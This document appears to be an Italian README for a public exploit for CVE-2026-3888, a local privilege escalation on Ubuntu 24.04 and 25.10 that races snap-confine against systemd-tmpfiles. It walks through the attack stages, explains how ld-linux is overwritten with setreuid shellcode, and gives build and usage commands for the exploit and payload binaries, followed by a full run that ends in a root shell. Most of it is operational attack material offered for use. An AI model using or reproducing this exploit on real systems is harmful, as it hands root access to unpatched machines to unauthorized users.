
Exploit di escalation dei privilegi locali per CVE-2026-3888 che prende di mira snap-confine e systemd-tmpfiles su Ubuntu, fornendo varianti SUID e capabilities per ottenere l'accesso root.
Escalation dei privilegi locali da utente non privilegiato a root completo su Ubuntu Desktop 24.04+ sfruttando una condizione di gara TOCTOU tra snap-confine e systemd-tmpfiles. Sono fornite due varianti: SUID e Capabilities.
CVSS: 7.8 (Alto) | Advisory: Qualys | Patch: snapd 2.74.2, 17 marzo 2026
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, ecc.) |
| Snap bersaglio | firefox | snap-store |
| Mimica bersaglio | /usr/lib/x86_64-linux-gnu (~285 voci) | /var/lib (~17 voci) |
| Vettore di exploit | Sovrascrive ld-linux-x86-64.so.2 con shellcode | Controlla user-fstab + ld.so.preload |
| Formato payload | ELF statico con syscall raw | Libreria condivisa con __attribute__((constructor)) |
| Trigger root | SUID snap-confine carica linker dinamico avvelenato | SUID su in /tmp/.snap preloada .so |
| Requisito cgroup | Qualsiasi nome snap.* | Corrispondenza esatta: snap.snap-store.hook.configure |
Pulizia .snap | 30 giorni | 10 giorni |
| Fuga sandbox | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles elimina la directory mimica .snap obsoleta sotto /tmp (scadenza 30 giorni)snap-confine tramite backpressure su socket AF_UNIX per vincere in modo affidabile la gara durante la sequenza di bind-mount mimicold-linux-x86-64.so.2 viene sostituito con shellcode che chiama setreuid(0,0) + execvesnap-confine attiva lo shellcode con privilegi di root/var/snap/firefox/common/ per fuggire dalla sandbox| File | Descrizione |
|---|---|
exploit_suid.c | Exploit unificato a binario singolo — tutte e 7 le fasi in un orchestratore basato su fork |
librootshell_suid.c | Payload — ELF minimale che sostituisce ld-linux-x86-64.so.2 tramite syscall x86_64 raw |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Entrambi devono essere compilati su (o cross-compilati per) Linux x86_64. exploit è linkato staticamente per poter essere eseguito all'interno della sandbox snap senza dipendenze da librerie. librootshell.so usa -nostdlib perché contiene solo syscall raw — nessuna libc.
./exploit <librootshell.so> [-d] [-s]
| Flag | Descrizione |
|---|---|
-d | Mostra l'output di debug di snap-confine (modalità verbose) |
-s | Salta l'attesa della pulizia .snap (richiede password root) |
# Esecuzione normale
./exploit ./librootshell.so
# Modalità debug
./exploit ./librootshell.so -d
# Riprova dopo un errore
./exploit ./librootshell.so -s
L'exploit entra nella sandbox, attende che systemd-tmpfiles elimini .snap (fino a 10 giorni su Ubuntu 25.10 standard e fino a 30 giorni su Ubuntu 24.04 standard), quindi esegue automaticamente la gara. In caso di successo, apre una shell root.
snap-confine deve essere SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer attivobusybox disponibile sul sistema bersaglio (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 byte)
[Fase 1] Ingresso nella sandbox Firefox...
[+] PID shell interna: 3122
[Fase 2] Attesa eliminazione .snap...
[*] Polling (fino a 30 giorni su Ubuntu standard).
[*] Suggerimento: usa -s per saltare.
[+] .snap eliminato.
[Fase 3] Distruzione namespace mount memorizzato...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace distrutto.
[Fase 4] Configurazione ed esecuzione della gara...
[*] Directory di lavoro: /proc/3122/cwd
[*] Creazione di .snap e .exchange...
[*] 285 voci copiate nella directory exchange
[*] Avvio gara...
[*] Monitoraggio snap-confine (PID figlio 3543)...
[!] TRIGGER — scambio directory...
[+] SCAMBIO COMPLETATO — gara vinta!
[*] ld-linux nel namespace: user:user 755
[+] PID namespace avvelenato: 3543
[Fase 5] Iniezione payload nel namespace avvelenato...
[+] ld-linux di proprietà di uid 1000 (attaccante). Gara confermata.
[*] Installazione busybox...
[*] Scrittura script di fuga → /tmp/sh
[*] Sovrascrittura ld-linux-x86-64.so.2...
[+] Payload iniettato.
[Fase 6] Attivazione root tramite SUID snap-confine...
[*] snap-confine → snap-confine (trigger SUID)
[*] Stato di uscita: 0
[Fase 7] Verifica...
[+] Bash root SUID: /var/snap/firefox/common/bash (modalità 4755)
[*] Pulizia processi in background...
================================================================
SHELL ROOT: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)